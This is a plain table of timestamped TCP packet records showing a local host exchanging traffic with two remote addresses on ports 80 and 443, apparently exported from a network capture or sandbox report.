Nov 23, 2024 11:22:21.829813004 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.829962969 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.830012083 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.830714941 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.830851078 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.830964088 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.832577944 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.832698107 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.832743883 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.834397078 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.834525108 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.834608078 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.836318970 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.836452961 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.836500883 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.838124990 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.838366032 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.838411093 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.839895010 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.839970112 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.840147972 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.841691971 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.841814995 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.841878891 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.843452930 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.843516111 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.843553066 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.844165087 CET	443	49791	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:21.844211102 CET	443	49791	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:21.844413042 CET	49791	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:21.844468117 CET	49791	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:21.844468117 CET	49791	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:21.844489098 CET	443	49791	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:21.844499111 CET	443	49791	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:21.845204115 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.845396996 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.845443964 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.846963882 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.847032070 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.847119093 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.847754002 CET	49795	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:21.847798109 CET	443	49795	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:21.848026037 CET	49795	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:21.848176003 CET	49795	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:21.848190069 CET	443	49795	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:21.848766088 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.848906994 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.848947048 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.850351095 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.850461960 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.850516081 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.852073908 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.852262020 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.852308035 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.853809118 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.853982925 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.854218006 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.855662107 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.855742931 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.855797052 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.857224941 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.857350111 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.857388973 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.858738899 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.858807087 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.858867884 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.860424042 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.860575914 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.860625029 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.862026930 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.862149954 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.862191916 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.863709927 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.863729000 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.863770008 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.865279913 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.865345001 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.865382910 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.866832018 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.866961002 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.867010117 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.868432045 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.868509054 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.868556976 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.870115995 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.870250940 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.870296955 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.871022940 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.871109009 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.871170998 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.871963024 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.872071028 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.872262001 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.873039007 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.873191118 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.873226881 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.873888016 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.873934031 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.873986006 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.874833107 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.875000954 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.875045061 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.875763893 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.875901937 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.875951052 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.876712084 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.876866102 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.877080917 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.877702951 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.877846956 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.877890110 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.878673077 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.878719091 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.878828049 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.879581928 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.879693031 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.879735947 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.880565882 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.880671978 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.880713940 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.881480932 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.881601095 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.881767035 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.882431030 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.882561922 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.882607937 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.883577108 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.883692980 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.883769035 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.884339094 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.884468079 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.884589911 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.885294914 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.885374069 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.886265039 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.886332035 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.886363029 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.886425018 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.887217999 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.887366056 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.888194084 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.888247967 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.888286114 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.888330936 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.889105082 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.889301062 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.889349937 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.890052080 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.890183926 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.891016006 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.891068935 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.891139030 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.891189098 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.891984940 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.892086983 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.892456055 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.892960072 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.893040895 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.893882990 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.893939018 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.893999100 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.894046068 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.894828081 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.894967079 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.895024061 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.895759106 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.895886898 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.895967007 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.896749020 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.896913052 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.897023916 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.897650003 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.946784973 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.964195013 CET	443	49789	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:21.964354038 CET	443	49789	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:21.964437008 CET	49789	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:21.964612961 CET	49789	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:21.964626074 CET	443	49789	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:21.967467070 CET	49796	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:21.967498064 CET	443	49796	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:21.967585087 CET	49796	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:21.968056917 CET	49796	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:21.968070984 CET	443	49796	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:22.040169954 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.040447950 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.040528059 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.040632010 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.040754080 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.040812016 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.041551113 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.041692019 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.041749954 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.042534113 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.042676926 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.042725086 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.043453932 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.043546915 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.043869972 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.044373035 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.044425011 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.044498920 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.045319080 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.045444965 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.045491934 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.046271086 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.046314955 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.046386003 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.046858072 CET	443	49787	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:22.046926975 CET	443	49787	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:22.047151089 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.047214031 CET	49787	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:22.047281027 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.047389984 CET	49787	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:22.047406912 CET	443	49787	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:22.047419071 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.048137903 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.048291922 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.048348904 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.049120903 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.049279928 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.049495935 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.050045013 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.050132990 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.050184965 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.050937891 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.051033020 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.051075935 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.052021980 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.052033901 CET	49797	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:22.052062035 CET	443	49797	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:22.052093029 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.052123070 CET	49797	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:22.052145958 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.052649021 CET	49797	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:22.052660942 CET	443	49797	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:22.052828074 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.052949905 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.053014040 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.053757906 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.053881884 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.053926945 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.054703951 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.054842949 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.054884911 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.055643082 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.055818081 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.055962086 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.056585073 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.056643009 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.056691885 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.057569981 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.057682037 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.057779074 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.058442116 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.058521986 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.058562994 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.059385061 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.059489965 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.059974909 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.060309887 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.060441971 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.060529947 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.061439991 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.061614037 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.061656952 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.062191963 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.062316895 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.062894106 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.063141108 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.063286066 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.063328028 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.064057112 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.064172029 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.064213037 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.065004110 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.065115929 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.065164089 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.065943956 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.066211939 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.066363096 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.066906929 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.067011118 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.067056894 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.067826033 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.067949057 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.067990065 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.068738937 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.069098949 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.069133997 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.069714069 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.069787979 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.069926023 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.070646048 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.070749044 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.070797920 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.071557999 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.071660995 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.071702003 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.072506905 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.072573900 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.072622061 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.073465109 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.073719978 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.074095964 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.074460983 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.074521065 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.074563980 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.075370073 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.075486898 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.075537920 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.076343060 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.076404095 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.076446056 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.077184916 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.077332973 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.077380896 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.078140974 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.078269005 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.078305006 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.078777075 CET	443	49790	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:22.078838110 CET	443	49790	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:22.079014063 CET	49790	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:22.079071045 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.079196930 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.079236031 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.079515934 CET	49790	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:22.079524994 CET	443	49790	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:22.079535007 CET	49790	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:22.079539061 CET	443	49790	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:22.080012083 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.080123901 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.080214024 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.080975056 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.081114054 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.081178904 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.081937075 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.081990957 CET	49798	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:22.082000971 CET	443	49798	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:22.082015038 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.082071066 CET	49798	443	192.168.2.4	13.107.246.63
